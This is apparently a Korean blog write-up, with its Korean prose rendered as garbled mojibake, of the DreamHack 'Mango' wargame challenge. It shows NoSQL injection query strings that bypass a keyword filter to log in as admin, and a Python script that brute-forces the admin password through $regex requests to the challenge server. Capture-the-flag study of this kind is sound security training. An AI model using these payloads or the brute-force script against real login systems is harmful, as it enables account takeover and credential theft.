https://dreamhack.io/wargame/challenges/90/
Mango
Description ์ด ๋ฌธ์ ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅ๋ ํ๋๊ทธ๋ฅผ ํ๋ํ๋ ๋ฌธ์ ์ ๋๋ค. ํ๋๊ทธ๋ admin ๊ณ์ ์ ๋น๋ฐ๋ฒํธ ์ ๋๋ค. ํ๋๊ทธ์ ํ์์ DH{...} ์ ๋๋ค. {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} Reference Serv
dreamhack.io
NOSQL Injection์ ๊ดํ ๋ฌธ์ ๋ค.
ํ์ด์ง๋ก ๋ค์ด๊ฐ๋๊น ๋ค์ง๊ณ ์ง /login์์ ๋ก๊ทธ์ธ์ ํ๋ผ๊ณ ๋ฌ๋ค.
์ฃผ์์ ๋ณต์ฌ ๋ถ์ฌ๋ฃ๊ธฐ๋ฅผ ํด๋ณด๋ guest๋ก ๋ก๊ทธ์ธ์ด ๋๋์ง ํ๋ฉด์๋ guest๋ง ๋ธ
๋ง์ฝ์ uid ๊ฐ์ผ๋ก admin์ ์ฃผ๊ฒ ๋๋ฉด ํ์ด์ง์๋ filter๋ผ๊ณ ๋จ๊ฒ ๋๋ค.
๋ฌธ์ ์์ ์ ๊ณตํ๋ ์๋ฒ ํ์ผ์ ํ์ธํด๋ณด๋ฉด "admin", "admi", "dh"๋ฅผ ํค์๋๋ฅผ ์ฐจ๋จํ๊ณ ์๋ค. (DH๋ ํ๋๊ทธ์ ์ ๋์ฌ)
๋ ์๋ฌด๋ฐ ๊ฐ์ ๋ฃ์ผ๋ฉด undefined๊ฐ ๋์ด
์ด๊ฒ์ ํตํด ์๋ํ ๋๊ตฌ๋ฅผ ์ด์ฉํด ๋ก๊ทธ์ธ์ ํ๋ ๊ฒ๋ ๊ฐ๋ฅํ ๊ฒ ๊ฐ๋ค.
์ด์ NOSQL Injection์ ์๋ํด ๋ณด๊ฒ ๋ค.
๋ฐฉ๋ฒ์ ์ด๋ ๋ค.
์ ๋ฌํ๋ ํ๋ผ๋ฏธํฐ์ ์ด๋ฆ ex) uid์ ๋๊ดํธ๋ฅผ ๋ฃ์ด ์กฐ๊ฑด์์ ๋ฃ์ด์ฃผ๋ฉด ๋๋ค. -> uid[$ne]
๊ฒ๋ค๊ฐ ์ด๋ฐ ์กฐ๊ฑด์ ๊ฐ์ง ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ๋ฌ ๊ฐ ์ ๋ฌ์ด ๊ฐ๋ฅํจ
ex) uid[$ne]=&uid[$gt]=&uid[$lt]
๊ด๋ จ ์กฐ๊ฑด์๋ค์ ์๋ ๋งํฌ์์ ์ฐธ์กฐ:
https://book.hacktricks.xyz/pentesting-web/nosql-injection
NoSQL injection - HackTricks
Brute-force login usernames and passwords from POST login
book.hacktricks.xyz
๋๋ต
[$ne] : ๊ฐ์ง ์์ ๊ฒฝ์ฐ(NOT),
[$regex] : ์ ๊ทํํ์,
[$eq] : ๊ฐ๋ค(=)
[$lt] : ์๋ค(<)
[$gt] : ํฌ๋ค(>)
๊ฐ ์กด์ฌํจ.
์ด ์กฐ๊ฑด์์ ์ด์ฉํด์ ํ์ด์ง์ admin์ผ๋ก ๋ก๊ทธ์ธ์ ํ๋๋ก ๋ง๋ค์ด ๋ณด์
guest๋ฅผ ์ ์ธํ ๋ค๋ฅธ ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธ์ ํ๊ณ ์ถ์ ๊ฒฝ์ฐ์ [$ne]๋ฅผ ์ด์ฉํด ๋ณด๋ฉด
?uid[$ne]=guest&upw[$ne]=
์ด๋ฐ ์์ผ๋ก ํ๋ผ๋ฏธํฐ๋ฅผ ์ ๋ฌ์ ํ ์ ์๋ค.
ํ์ง๋ง
guest๋ฅผ ์ ์ธํ ์ฌ์ฉ์๊ฐ admin ๋ง๊ณ dreamhack์ด๋ผ๋ ์ฌ์ฉ์๊ฐ ๋ ์กด์ฌ๋ฅผ ํ๋ค๋ ๊ฒ
์ด [$ne]๋ง์ผ๋ก๋ ์ด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ๊ฐ ์ด๋ ค์์ผ๋ก ๋ ๋ค๋ฅธ ์กฐ๊ฑด๋ค์ ์ค๋ณด์๋ค.
๋ฐ๋ก ์ฐพ๊ณ ์ ํ๋ ์์ด๋๊ฐ dreamhack์ ํฌํจ์ ํ์ง ์๋๋ก ๋ง๋๋ ๊ฒ.
admin์ ๊ทธ๋๋ก ์ฐ๋ฉด filter๊ฐ ๊ฑธ๋ฆฌ๊ธฐ ๋๋ฌธ์ [$gt]์ adm๋ง ๋์ ํด์ฃผ๊ณ ,
[$lt]์๋ dreamhack ํน์ ์ด๋์ d๋ง์ ๋ฃ์ด์ค ๋ดค๋ค.
๊ทธ๋ฌ๋๋ ์ง์ admin์ผ๋ก ๋ก๊ทธ์ธ์ ํ๋๋ฐ ์ฑ๊ณต
์ด์ ๋จ์ ๊ฑด ํจ์ค์๋๋ฅผ ์์๋ด๋ ๊ฒ.
ํจ์ค์๋๋ ๋ฌธ์ ์์๋ ๋์์๋ฏ์ด DH{๋ก ์์์ ํ๋ค๊ณ ํ๋ค.
ํ์ง๋ง ๋ง์ฐฌ๊ฐ์ง๋ก upw์ DH๋ฅผ ๋ฃ์ด์ฃผ๊ฒ ๋๋ฉด ๋ ํํฐ์ ๊ฑธ๋ฆฌ๊ฒ ๋๋ค.
ํด๋ต์ ๊ฐ๋จํ๋ค. ์ ๊ทํํ์์ ์ด์ฉํ๋ ๊ฒ.
๋ง์ฐฌ๊ฐ์ง๋ก ํ๋ผ๋ฏธํฐ์ [$regex]๋ฅผ ๋ฃ์ด ์ ๊ทํํ์ ์กฐ๊ฑด์ ๋ฃ์ด์ค๋ค. ex) upw[$regex]
import requests
parameter = None
result = None
words = "0123456789abcdefghijklmnopqrstuvwxyz"
solve = ""
for i in range(32):
for ascii in words:
print(i+1,") Try:", ascii )
parameter = "?uid[$gt]=adm&uid[$lt]=d&uid[$ne]=guest&upw[$regex]=[aA-zZ]{2}{" + ( solve + ascii)
url = "http://host1.dreamhack.games:9785/login" + parameter
result = requests.get(url).text
print(parameter)
print(result)
if "admin" in result:
solve += ascii
print("catch => ", ascii, "|", solve)
break
print("Flag:",solve)
๊ทธ๋ค์ ์์์ ์๋ํ ๋๊ตฌ๋ฅผ ์ง์ค์ ์คํ
ํด๋ณด๋๊น ํ๋๊ทธ๊ฐ ์ ๋์๋ค.
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - login-1 ํ์ด (0) | 2023.03.27 |
---|---|
DreamHack - node-serialize (nodejs ์ง๋ ฌํ ์ทจ์ฝ์ ) ํ์ด (0) | 2023.03.27 |
Dreamhack - ์๊ฒ์, rev-basic-2 ํ์ด (0) | 2021.12.03 |
Dreamhack - ์๊ฒ์, rev-basic-1 ํ์ด (0) | 2021.12.01 |
Dreamhack - ์๊ฒ์, rev-basic-0 ํ์ด (0) | 2021.11.30 |